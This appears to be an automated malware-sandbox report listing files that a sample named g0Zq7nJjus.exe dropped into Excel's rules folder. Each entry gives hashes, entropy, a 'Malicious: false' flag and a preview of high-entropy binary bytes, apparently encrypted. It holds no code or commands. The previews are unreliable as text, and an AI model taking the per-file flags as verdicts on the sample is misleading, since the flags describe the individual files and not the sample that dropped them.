....,...I.\.....e.P.....y[Hd."Ew...\...LU....A.......;.s<.......s.QY.m...:W.c.[....PK.6R.TG\|.qd.X.}.d.]......!.8....(.EIt^..>.wmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500009v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	7.848338018136624
Encrypted:	false
SSDEEP:	24:wgJXNX71VrjCalp0my5VvgBerG9m2HgVRk6FDWl5v2bD:VRP0ewvv69m2H2Rk6Fe2D
MD5:	C7C55984C824AAF93C2D504C7D74AC7F
SHA1:	7D97D157B01CB8A0C04CB906518E45A4CD55565B
SHA-256:	2766D0FAFB1246F61899F15FB614A9D0032C2F3752B043757C41F1B931B7DE1F
SHA-512:	2881ACC698AFDAF537DFC0A2FFF98862D9ACA06E4767C75638AC0896CA2BA4277BF04CC75E768C570397CA1D5147865520D6C4FE561E795A325EF9776C1E4E7F
Malicious:	false
Preview:	<?xml.8.....6..x...2.&Y..u;(C...Q/.....z..K..n(../....6b._...0E.G..)..7.V..\p....Q...r..:....PZ.....32.....e........b.....;..).....'5.C..EF'...j"..du....{G.......r>6..-.O...q2...d....@...d...mTD.].w......U..^..o.r.>..1j.].........p.PJ.....7yHJ}.,3?.V...'dE....l.......B.R2l..l~X.L_....itv.C ....A:.9...B...._.H....g.9u.G..~..B.f..4<.......)...@E.IV.AGV.b.#....y....` j.m.QS.D...xt.......yXZ.H.q.M.f.....c...g'p..k.'.F8...\...2R.....l...R...)..A....D..^\...$......../D..E.........?....G....U...4q....Fs(H?.pc...S.6=.....s.j..n...e....\_n_=.<x.5.L.hQ...".8...:s.....]......n........9.......v.r&..Z.v<._~..j.Q.......$$.Z..o.C..c...WK..g.j.%......p..;.]....).[U.a.f........=.q..N.....K..Jm....$.j.[R....wKy._.....8N..1T.[....!......k2..m.=...{<D:..&C.O.d..2.....;...c(p.}..w..y. @VY5.=......&.n.?...C.K#...p...q.6..h.aK..P.O%E...k.,k.....q.8.*..%.jmm.?...n.$..d]..S.W.....P._4 .'...".~<P.2~.....H.i.i..vR.B..3..j.T."n.U.V..;40k..%........)..T.B

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500022v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	7.788608652529525
Encrypted:	false
SSDEEP:	24:NtKpqYRzuXPwF8d3AgUU6O5pkE9lJB2TzE5+5KHT2bD:ZYFu4tOT9J2/GpgD
MD5:	C7BDF6A2B6611765F4F75FA1993E378F
SHA1:	9A41A4DE39B8AE3DC9E7E5711A43B559827F64A8
SHA-256:	CBCDC64FA50D42537141A354754AE91E0CC34D504B8ABE4348020E9161A2FD71
SHA-512:	EE90985DF3D42299931278DBF5D7B46DC12AE8FB4866337ECA278382E247B312D88AE920C3AAA0CFFE0ED4305B0EDAE3E9F4980E7DE8FE54AA74A0112CCC6AAB
Malicious:	false
Preview:	<?xml+..YW.jT(w.E6..4&..s.O.@...~2...3..B.+..H.....N."....-s..w..sg'..8#.tF.p..vd.X.Z.Y.;]e...0R......M..?B.d....!q.B.Z..R...Z.....K......`}....1}..J.g..}....,X.../..*.b.Y}..x......rM.....6....cf..E.......a...Fw..r....~]....!....cyl..n..wG..Qp.>....V..xE..s....._! ......!...KQmn.dIF&..F...t...H.f..[6.mq...+GtO..;Q.e..t\|.J.'>.T..C.W9..........]s.E..Jy..Q\|...gL......U3..5!..D....e..c..Vy.....A\7x.Z..)q..T>.f{.I.O.{...".VL..@V..f.4.I....)......Q..?l...\|...-.K5.g". ^.#.....~.;d@.......Q.mp.2.t......=....y.C..%."....M...\..]..l....2b.}m6.: .2U...z'......j...`.I.Vu...!I.7@......(]pA........c..L..'Gr.Y.....0;@(..oU.h8....4..r....qY..7.....G:...........8M!....8...s...c....D...E.q...9.'...J..5.#.j.k........F.pzY.l.b...1./.pT.5]JP7.T..!F1./S..X...Z.-K}.R.O....7.YF...f8?......4CLNP.rn.m..vNwr..R.r+u!..d..#.TmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500023v4.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	969
Entropy (8bit):	7.769965193562121
Encrypted:	false
SSDEEP:	24:jo+O2GY9rny4kFLbUYzAF0ViOxSRbj4hFQmvZ0lJaW02bD:jo29rnR4vEF0kOg6PcD
MD5:	668F6EAFE56FA9613F8D693C01C7E6A7
SHA1:	3C2E7F8DD480C5B692A03E4E94BC855872FFA562
SHA-256:	FF24F00660DFB9A73117AAAF65BD89500A60FC3CDBD516295E77EC6BA6BD2A92
SHA-512:	2B92F96E4A34B322A735C7106F20A92170AAE88650E48F1F444C80B9AEDC2FB782CD6170398CDCE31767CD65918F76116AF97AB4AD39C6AEE29091DC157E4229
Malicious:	false
Preview:	<?xml.ZBq7w1e..2..#..S\....%.~.q.3.e.S..S3]0.u.G.A 0.y..l....=.<.Kj5......%./.5.A)u..h..m.O....hA.X.....<}Ei`.t..]A.'..2..Iu'..N@.........A_S.t_.x..y\.......m.ZA[..fx......0....J...W.k....).@[m...!;.....w..Q"...B't.9.TH.%n.Ubu6..'m.CD...>..0..>....fsd...1A.i......'..VK...L.........=&........E\.1..6.........S...S.U.e.N.4..GC...i....v$.....[..`I.].......Ke...<7C5...9...(..3.y....V.9......l.......\Lv)...2.....o..h.....:+...Z...5.zf.z7c....8.)...p.....Zh....j/...}.6.~.G.3...7.Ree.c..;.a;.8........w...HdV..t..L..<OD...'D:.:.h.\d...........<.Z.G..#....D..5..o...a..}..`>.j.e\|..b..^F..._.U-0W.U...3.p..Pu...;...<U.....=:.. ,.&/.wW...}!...Yt....C........... 4.]$T....n.9[.........G5n./.F.-..:.^$.,.K..i.....Pm3....tm.l.<..m..F...(z.LX..'...;...k............v."`....0$.N5..~..s.....o.p.[.4..#aZ..;[....1d?nBy..J.5`^..k.%b;...%..B...mo;}...A....1.c..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.861720185766868
Encrypted:	false
SSDEEP:	24:Gv4Erv3mz08bnrNZ5/xfkE+X6gqsdNk45sSRH4X6hKWtrpQOfImM/3tzz4R2bD:W4a3mz9brNHlYlqsrk4ia4qXJg//5zDD
MD5:	152D0E28FDD92046DC045947FC8A0F16
SHA1:	23FD5FC9E31F524B677392F22A22357AD7D352C4
SHA-256:	BBDA9F5080EFE40BA679F776E6EE818C396C8A01B0560C2724E614F8A290477F
SHA-512:	97B7A32ACF0F432CA24F12C7C9193C77DCF5DC91FE4F4FC2C92CAAB935485F3C67D3F3C1570F1A1ED381B9AD51E6D54938C8786165EA3560CD844AF72E34551E
Malicious:	false
Preview:	<?xml>...Zh&c..A.Q.....w:.V.....SR.7.v..!...N..+...._zNZ....F:.kR.Y..S.U.t.G?..>).#..u1x]#...;7....m.h..-w.TP..(./.T.4.f....l......g..b.R.r...V@U.N....A.i.z..'%.x.;'.O..ZQ.t.....".2.Y.....y7..?..No.].'.....2..6.<.6J1.n.O.B...p.J6..fy.?.wgb9\?bzv6C..bz...P.Q.e..7- ...e.<'.....m(9vx(......#..z.W.S.%=;L.i.g=..g...\.....4.. ...YW^1.l..q.........w..m...B>.4,1(B.1~Q....rU..D. .48...^...u1#c....0L.6..:...9j.o.........dM........5.zv....:...D...R....,.)@..$..[.B.(:tg..'...+f/...+..r.O..........`.a..J%:.g:.(...H..e=.\.......8.l....$..A'B).)H...$e..a._e.^..W.>..T...xS...6^...lFT.:.\[..`t-TL...............j..av[:f....c.U+c.y;.X.K.9.x)]...44........).W4...Ak.,.i...?../.'...(:L....-...kx..C......lV.A.....VW.y...>..l.....cy.lN..;...%.KI..=..WU...J..$.#.>.JHZ.6..'!^.v^m...e...o...H...=....E..n.O...,.F......3.....U.P!,b...?.y'.y...k...\|....".W...I....Xg..~..W.).T-J.2....xw..y..K....T.XFg.yC.u..V....Hv....8I^.u.1.A..s..@........7...$.Q!.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.861004305990064
Encrypted:	false
SSDEEP:	24:052gYHldicgcrJhxTIGo+yW8FM5owkVg/fjSGznH0CiqIqkPcuRP2T2bD:w2gYbicnvxcf+X0uowKsfzHd2qk0iD
MD5:	99D1AF19716DD4B29D236E7CC6A07241
SHA1:	FEFFEC943065772454B22944E1F838641EDB9B53
SHA-256:	2154B6ACEDE8CE20BCA5EFDC18CCB74B8DABE95F73D05CF97C1E013420873A64
SHA-512:	4480FA80AC2728F61C4C770732B1B496CA2E6EEEFD6B83FCB65411244CFD0E9209CD2742DEADF15CCDB18F80A842A35699BE97307CB192D419CF9BF5B18656EC
Malicious:	false
Preview:	<?xml....y.}..>.s.s-O........(}-...&.f..e.G8GF3.Zv..../..3A..k..$U........g0h.ivW._.a%...W..RH.{.},p.f.1..I+...\.1.5zI.<N...T.c..t...........>.:nd.L..w0.},:.F........4...#.._..%......C{L.Is.~24....".....4!.k.....].....Y........s.1..J.1!.\|.G.....G1^0...d...!.m.R.eL..n....{6]...PR.9.`FJl.8A)u]O.e.oA.....^....i..,.o6.....sa......p>.V%jIE..@wN..:&..S.O...<......P.j..\..#...:?..R......]&....."....K..Y3..C.7:.L...=.....E.h..[w.~.]..\|/...6\.+.Q.u...9.0M...B..@$.q$...................@....,..o&~>..l...Z.F.....iT..6......q..)0.........L.X.v.@.H_JvY.F.....!...Q......Rd..9u...H}......##`..].\.L..a.h.m...h...........u\|Zn.......Y.;..9..........m.....NIM.G..zo7Qu{...QY.I......4VD^..R.>kZ........6...-...}Z.J..b.....K...,%.....;..C.8.H.......\|9U.)ID...G.:..7.v..q......:..]..(...V..p.=z.N.}!.>.Z..p.:p.v]......0e@..(.3z<..M.Oa6>.kW.i&..k....m7..~_oCy".zx..&I..w.[L~...m...N.....8Z.]....X....i...l.>.+.....].CH..}.^%..6..P..'.#u........".B..:.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.825464568647963
Encrypted:	false
SSDEEP:	24:R3/TorEtEJ4cwLNavJFzK4JDXCchoPdJwNk2am2bD:RvToou4cwLNmJrPhog8tD
MD5:	94ACB6FE4ED59733F2F450F31A7375B6
SHA1:	FBC29308073ADE0C90727DA535DA6EC73DF57576
SHA-256:	808042FEF514946C9062F81F18665C377B15F83EBC71C2B076858B5C4B35B551
SHA-512:	2344050E90F6D5DF41C601325DCD68CEE81DABD4F19BDE7396ECDC4D602651B77CA8FCBBC2CFC1BBC5DB05E36A87A720C24302E59728B8DA1898996A5C11383E
Malicious:	false
Preview:	<?xml.eFfZ$ZA.b.h/'..L..@..J.....2J0..$.a..,E...6....yx..@...i......,T......?oZr.......).P..$+.o..W.........)......r...<.w`.`.....(x,+7.sU.Tl...b....6.a.5...._y<m....S.Ky.3..9.`.).....T......_.v.........<B..C.v......6...3a.=...1.X...........>..g..5..v&~_.I..-.U?.D(..N.0..m"^8..U4.43.se?.j.\|.IC...k.".E\|..............n..'........b..._....x.(.q.Z.~N&/RJ..=D....x. =..F~Vs.6.HM...f.kY..b..I...Cu....I.#..Hv.M.3.-...$e...YO5R..d..Gy0...M#q.u...^.%..m..;q....\..t...._=.E.6(8X.........zJ.,..4.=....w.X.....h...F.q...8.me..$/..B........@.2. ..?.>.,.7./..U~.#kL.O..r3....-..$W.I.e...JD.......W.>....+...A=.........I..!...n...j..c.v.... ...v.$....RK3..`.$.T.v$...3.....U.H==....A..(.\|.>......b.....p.?...U......j.yy;...,8m."y.:....e..4..I.._.......5F..k..vxK..Az....p.X...)...B... .y.}..s,......].)W+Hk.v..`_......O....m.O.`9......("<..G..SC J.?..C......7.x.....@..c.I.+.c<\|y.5.@;z...3....5.#. ...BP.G9...,3.1..<0R.0".QQ1.S....'... .!.$.6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.820530700796438
Encrypted:	false
SSDEEP:	24:AXjlrOPo8WKdxv0pIWt7iRpoKn0CNSEBRsLudpMnsTSsBJGup3Q2bD:sl6/dd0pIUsp9nTjBs27Qup3DD
MD5:	FC7911C8D7AAE8FAD3F44A38B8B91BC5
SHA1:	1463ED44C375C4ACA9295565FB8827130A6C51CC
SHA-256:	10354CED41FB78CEBDD7F65374969442EDC0F23BD8AD50438B64706736CC9F2C
SHA-512:	B88AF0FC88579605D799E02162ADC8D8E850EA9CF2974E913C208A158587002B2763E9C2BAA728E4E64303377704DDBFAE69B186994ED946A85C42DC755A4C84
Malicious:	false
Preview:	<?xml...dG..z..(.^J,....#...1.f".2R...+..9~ac.O.n.\|.M.;..oN.....i(...^....J.C=.I\.../.....y.D..R.pF5&r.R.38.H......+Ko....J.y.A.JZ(&....JX..K(@Tm.2.7B..U...@.k..A.\..a... V...0#.n.0..f.a......j...,..d.<f..,Y....a.EL,...4..%.m.I)..\|{"is..7.%..b....2S=....Bgc..i....LC.b3.;.J6.."L....o..3Y.yl..DE'.e=A....q.p...l...@...Tq.4..k...+......$ .k.M....V-.........x...Y...U..{.....jy....~......d\7`e../._..Zy.....O........?{+.k.........O.....,..j...AC(.d)W.)...&9..`k....:.l....H.M0!eQ.q.L..]...9xk...(..dR...$.O..\m..R......F....2.....lJy.Bu.e.......c.~...B.L..c.tD.k"..2.....3.C..M...Y.......7.o.o...d.F.<.`..I9.=..@.4....s,B."..tD..}... ....0..4..`.mR.....T....R>W.].....(.h..8.R...!.W...B.............a.o.XM,..K.!.A.....%,...._d".R....j!.L......9~.....y.ve87........K..r.q....m..?.......U*&.;...^...\...X.....S..g^.r..AX4g...]$.W.4....ijksm....s .b.C...>q>...IU.w.n..]L\....Y.$...Xq...#G..1g.X......m......+u...a..tI.~...l......$./..0.) ..sS...c......&q..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.828551610879732
Encrypted:	false
SSDEEP:	24:q8samej/2W7pzdH2gAeJXGAJOUhDsCDxiq5eFmI2bD:q80s/28pZOTA8oDXcq5eFyD
MD5:	3672ED628AAED17654A69FED5DACB4B4
SHA1:	82A35618CFC87933293E4DD75FDB652532EDF8C0
SHA-256:	FCC78AC00F4317FCC49C07D74F5068E2AE163D4E2D163021D6C2C75411002E92
SHA-512:	FB05C2BFE76C2F567CFCD8C67C08FFC09634259441D5DAD061A361FA81B213602D588589C2E671F8293BB7D294C017BCDBD4C5176DEF2CB9F181DB5D24F8D433
Malicious:	false
Preview:	<?xml..&.Gn>lJ.....B.......CS.\9c.?.@.z.Mq.o...^......a.X#.N.R........h34..E......D.E.@7b...)..[...o..".Z...a!.S.c@..l....E....E..S...........~.#@.4>.5v.........?v.4$C...B..Dn)....I.m.[.wg.f........"...).%]Ku`1^......r[5..x..$.3X'1..v.:.......N5...o....]l4.m?Dp.Bm\a.u.L.!.xY...k.. ...U..>."W.............o.,Y...m.../..e.<........4...wN.:..<..\g.....#I.JQ......9..p..1.\.".^?.J..0P.st...(I.N.g....T,..x..~K....<...mI..s.....^...1.. ...y.7.#%_+ .. .;..?...h.RR%._..}..UK../.&..V...j......i...W.((...m...2....H.A.6K.Q.j.x.Q.`'.G.MP..(....1&.t.......#6.3..J0_L...\|=....G.7Z .L....x.Z.i.vf...... ............[....V...##L...:=D..1.E....0.......0..C.,..l;.O.zM..\d..&SO...o...Z.8\|....v=..........z-....7.W..m...N.5..<#r;.k.D..j./. B.s..x.a/.8....w...m..j.OU..<6j....8...ON.1e... ..p..U.zK.0.r......`fL.....n.O.......c .Hw....5z.....tRTFjM.8.X.&..o.....B...9..;.4...:.`*....?.7......\|..._......&P.+`D.oY..A...E^....w.3....-.pF.%..........+...&......8.`.<J. ......}..Y

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.821160472275261
Encrypted:	false
SSDEEP:	24:SWqHxNMks66JSIK0Gjb7Dusfi1XC8BMn28U5QttdK02bD:SLBQ7pGPJq1y8I2LetuD
MD5:	0BB63346B12D138EE182D67168EE4EE5
SHA1:	37948392E2B53927F8CF44D3E00EE35E8A75E464
SHA-256:	A95725814D5CD6266D770D9EDCF841BF3600A2FB8D76988ED40F6D02C896DFD3
SHA-512:	2AB2758E994800A6DC2DFEEDFB0E1FF9FA1362E424DD4C5FE410904693A5BBEE7967ADE43001341B4F70A9101FC96C1CBD99F3332BC4D7BD080D282C1C99298A
Malicious:	false
Preview:	<?xml9`..N.p..E.2..I..C.._.Pb..P9..+.....TF...81...eZ...>.a.I.U.2.aeeHu.....+.M/..R.4^PZ?..(........D..H.Qi....V.p7,j.)...>.d..H=...&M/WI/@^....;.m,....`:V1.....Y-..;L6.n9...BZVH6V....7.._.l.n...r.....S...sA.K[d.S.w...L..w...._.m.T9B..,v..3.......~N....:..BP...E....m.cuG\|.s..n.e.!..y.!....L.)9.k..g.5._r.mV.....>:-.v...0V.W.k5Z.6......c...cG....Q.8E3C.:..Q....`...%M(...cj..1_.Q..l.5Ca\..[`.~..x7 ......wA..A.8.Zm.....1..x.'@..B.N.....9U>R..d..S...".a....2..Q.)....L.....w\|..@k......,.v....qT$....M...`W"...w.c..;3.]....<g....B.8.G....h.I...><.....SQ....N/..O..o6..*..a4......}`....C(.Z7M".`..~...... .W;r..j./`p.c..3.gt.. Vs.\...-^..........\|..&8....89.~..f_....9J......Ez......F...'.Zv:.2.t._.....&.n]z.?.WY.h..1....AL{6Y.....N[.;..`...V.K..L~.e..M.9......<E.Nl....i!..i.S.T{.l.p.B..wk.f...n.j.V.H..F~.&..r.Y..&HB.[.,gB[Qa}.>..%/T.....N..t..8.=.so.2i{Y.JFv.......SUi.`...#..S0%N.!.y.~y$.:..`...[..[..T.A.........3..v..........L..v.D...d.v$M.....^...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.824829967279829
Encrypted:	false
SSDEEP:	24:Qfejx0G/YCv6rJ0qpGHKRy0E+3Lm109iHR5WDwoy82bD:v/W0m4N+3K5xMwzPD
MD5:	FD3A176D87D50C0AE8DE05FBAF6CA51F
SHA1:	0E6557D6ACD51F61D7D354C84ECC38A3CC80F205
SHA-256:	8DBE7007FAEA728F79E023013A3FC26272007DAE2CF4A5336EB631D640B22D58
SHA-512:	7E854E99A6B03ED90285F869BA14479205FD14310D8E392504128C02CBA65E4A426A632E07DBCC54C2B65446242EA6AF232F5BC6A01145C4941DC77D4582F2BB
Malicious:	false
Preview:	<?xml.L...<.....u.X.O.{.j.A.....gb....R.".\..3..^x...Sa:h.R,9.../.v....4],)o..... G...i,.."....q..9.....n.`.t......W<..3..k.....O3.9j..H..o.bG0...%.2... ....6M..w.(...LL.....1..V.p.....-......;RM...@9!^\....c\.....YO...w&Z..5.Bdb=5j%x.>.......?#.`..TQ...T.$.a......\..+.V.~.k.k~.v$o.. ..2.iu-Cz.67........TW...)..........n..XC3..f.<..6C.....e1.....S.0...{$M..L.-i.@...r(j....nq`..\|..8.B...c..;...SW...3............}.\|.O..-8n...9..u..j.....o..^..u.CaN~%.o....j....R .N...a.ai.f#I...m....^I?...=..=.p.gH..~g./#[b..8\|J0.2.:...pK..K..\.P.......N.$q..S..z..r.(P........_zs......s..:/\|"..[....p..C[.q.@x..~;..-.Y.........(.U..?.=J.+.hGct....0>.NW.v.\..R..rn....!..]y-Q..9...\J {....."........~.....lh..g..,....S.J..;Y...2....G.%...zP=.dM......\|M.$,T......3.K.pcg..!.7.S..w....nr...q...#V/l.y.....A+.>jx..l..H.....g.pr$:.a.Kre. ^.B...%O~tq.j;E..G.u...6.V+.=m..2..O.P.z;.Vs....A.&.}..[...hiP~...0.....@&+.+'.........TmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.948528317317032
Encrypted:	false
SSDEEP:	96:MXr2iV7tTYlJYeZPI86edB/mp7KUw59UdMSnSFkcL:MXr2iVVYvg86E8cU++OSndI
MD5:	7F5EA2EF728300BDF9EC58221F6B313D
SHA1:	1348E83F6E316164D18F863B627843C9E6676DE8
SHA-256:	07585B0D992C60030A949CC2FC19E1A1550F1E9E68D2156D6349C68B09346B5D
SHA-512:	DE172E606BA190D45A3A66CABDEAFE3E3DBB37DF6144F22C96B4777F92B68169FB39304E180CBADFCB2A7C8462B07E63408A2E3E0CD9C184B7C84DF04BC428C3
Malicious:	false
Preview:	<?xml......t=1fv..8..-j{.Q7i...$..f..........I..d...e.a......B......<..h.5.......m?.M....J.M..c./.5.o,....2..Fq56&....-..v...i......\mD.e5...QX.........W...W.K..?.Y.......#.E?....].j..S...j..6A.y.A.y.......=....kA" ..O...F....`..<..H...m.j...%G.b..T.,.}.n....q(...o..2..X.. ........5...4f+{.3i........z0~......".Q^..`$.E......,.l..Ctb...5.y...."i..[-.{......nG.M^N....J..i.ba.A..~M....\|...@.4. ..S.GT5db)".h....B.../OT%.4W..A..W..x.6.......8x..J:...H..Q.[M..q,..A........(AG..w\.i.."..J.......6(....a...%.@...a...=jQ..ui^...nR..Y.0...2{..[..9c.7C..G8Ki.>b...@....5v.../....o.D...L .{...7.}.`....n...F[`.....3..'/..[.5.:pJ.)...@H...........".?.]j.S..8}L`_.8..L...#.h.J....d+.. \|.d..x..HrS,6o..Y...\.........l.......B.........J...x..i...V@.}.....M..;.s..S..Yi.=..".l.o@....D.J.....Q....<.i:.......FW`.u.)........T.o.nOlf.bt.....9k...A.../.UI3.^k.....l...l...+....T.j.....J..1..x... D...M;H5.....X.J..;~......$..~.<......+G....=.ni....3.../O.Kl.N,g5._!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.71352143031671
Encrypted:	false
SSDEEP:	12:5pM1A9KOqTvNdedE4SvMAedLqQONMvNBF2ZSmfowkjtGeuuugMOj6Mok4ujO0SZU:fJ9ONdmZEMx2o6/eSOwkoh2bD
MD5:	D16291194C470E104407CD342133C5CC
SHA1:	EE0375A310F16E1EFC281844CD1E02BC652152DC
SHA-256:	E0486473C8C0F72E5E9ECA8569F4B18CE07C8C157E90B73BCA6E1712DD86B649
SHA-512:	D6E4CC53A2C995F8636E18824C72C6C6BB78577D0E261B4BD355FE0064DB5EF54709FC8F825D85F10518470D43D35A8C242CB1E18E584A924CE524A1021D3510
Malicious:	false
Preview:	<?xml..ni.\..y?.D..xW..`w...LCc..+Jn.p.0\|.._.a..{...6Er.k..?.q..!.$.<Co..j.o.th._.1..Ll.X.XC.S..Q(a.A.Z...3..(`\|Q..N..u(.C.....,.c....N.&...'...sC$.S..d.f..JA........X#U...q........b...\|.....F..r......A......u...6.l...0.X.{3..g-...;W..7..e.].l<Y=..d.U7.R..QQ....c..D.N.....<...X.(+..........e.N.\|.N.....$l.r.&n.Q..L...tO...x...=m....J.. (..:4V..N6..v.8....J...s3A.R....y?i...$.T.L....x8.,3.c...TH~mG=5.5.z.H....?u.6w.6._5....\|.......z&...~....S..@6.[.:.;.e...A}l..uMC...Tw ...._.'.g,.z..m[0....../Y.o8.^...+..u. .......Xm_...s.h.MvOolj....."..@.J..\s.iOj.3-......3.A.........+1..;.?..x.......K..*.h.5DK.X..W.\|...Z.2..N.z1H.7..r.y......Mn..zE.^..w.....{..,.L...{..V,......R..!...k.G...8.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.950306222148853
Encrypted:	false
SSDEEP:	96:fZbRkuoeMytVqPe4YVumrwJI9L+t8Rjt+Rx:pRklzymPe4YVuSGpt8RGx
MD5:	E593D78BF1357FC6606D7A0AC071611F
SHA1:	05AABA92A04E512AD27DC85D510293A6CA5997D8
SHA-256:	43B5CB22D17BCB406B6FAA2143209CB1548306893FF3B39A327A8B7366BFB881
SHA-512:	A280BD6F6FEF29249B02B1D0EE2F038FDA5ECE916517ED1BE516071E1158D5FE7A6A921212DCAA87422F283A0505CA1AD6BF4B02E5B189151CAB7524CF8A5063
Malicious:	false
Preview:	<?xmlj.E.G.]9tC....vc....h..........b..c.....0.a.._...?.XU.R~!....{.zn..MK..O..I{?.8.....3.k..&..b.....#...<........fYX..!.+r.9 7k.Zs=..0.B.{O..\|.8m&.f.hV......Tu.E...Dy......Uz..3u....k..^.C.QU(.M.Gs..G..._F............t[.%.i.h[.@.f.A..m...s.o...\|...u...LG.f.<<...<.Lt{wD.I.p58..d.\|dy.5lZ...6DH..X..,.,....]...N.x..`...tq\...K6..k.p....A.p..[..s8N.......}.{...I.."yt.`l2.m....7;..W.m.&..e.\|t:!..........XJ$^....\I.ezJ....Rp...Y.\|...Y.c.S.".J.....q-./..ym+S.o..I.#..%...R5.S./dT.y..w!....0..7.....S_.Gy.xP.<[.xb....9;......rD.6..ZJ.dtpn.........I{>.3.cH^...D&V.n.l.;I~...._....'r.o..0.z.v....`.n./....5\|_-Q....h..}.8..B....UL.$..,.r-Y..8w@h/....)..c..5.o..S.,S.....K.p.,G.N......{.{.C.W....`Y...xY.#.(...qd......-K.4..'UaJ..u%.U...%...BwZ..s..9U........~^.....Q..{..9..9[.Vl...;.,g].E..M{\......[{n..5@.V".....)}...."...Q.....+....t6.N_{>26wh..s2_.Wk...D......Y........V.c.pO.yS[.8J...Q.....B..W.:7U..0...G.....]..F.....T..o........M.E....q@...Vs!..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\g0Zq7nJjus.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.810450063652019
Encrypted:	false
SSDEEP:	24:sCaphU2sNDgbbEi0Hhz/V5jzb3yqwBTYhTIBalihpTiDf2bD:+U2sqb4hbXyoTyaOpG8D
MD5:	960C84D2758D660B0998C47F253F0976
SHA1:	960E55FCEC951429C51D5F2A0B8A2E30D70E72B2
SHA-256:	1500197D95905D883FE2E62C82979B210E768D4EE49F8582FFE6AB41E134560A
SHA-512:	591F660E683E11C2F88A3B63E7D44F1070A82A39043FD3BEFACA87EB587553ECC1EF853B04EB42E68BA90F523D354A1138B08CAE5F9B0345030E6AF94A0642A2
Malicious:	false
Preview:	<?xml..+.uV....D.$l....0...X.....6IU]\M.[.%^A...........qd...&)....0_....Y.L]....F.$..}.{nr.?.N7..t..6=......y.....y.?.&...AL<.7..r......;O!D..X.it.......u.DO.....+&...9.a.._..._...(..d.:m.....\|.+..B.....$..,q...l>j.MY.B.D&.....j.....Bq+I....y...vBTP~.[q.,'m6.e.VR.\,.I?..8..=..AS!/...}qx.....0"..ipD........R.Xq...k....o..s..R.8~..f.$vB........^!..De.6..0J;....w7.R4...D..9..Fj.-.....q...8.z...QQ......B....?c..;P.....o.....\.L..NJlkvB.e.e..`.c.......6....8....c.Z.p.ML.,N....$au~.F~..[..Tr!..z......00..^R~.n...C^.%b..#.3.SX.F0$...;'l&.E..:.M..[.......{....d.."..r.\.9.w...c1]N~. ..k(...;d,.s..'3...W.....%...q..iM.v.s....[./...s,....,....;....Xk}..n...41.%.Z4.......9...D_.....D...~.......TIZ...YQI.O...4P.k.C.7....J.lS...Z.Y.HX_.P.X%.6..?^j...Ft.....U.T..hE).Lk.......v..a'~1.....u.......:.)~..?.P......YI.....k..T9..............0z...VU.~Q..[ln.`*.....e..%7mCQ.?{.1.^.Ls...A..L..l.-.W..Ve......,/!P.D..............KY..q.x..^...C..N...W......!,z..bu

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

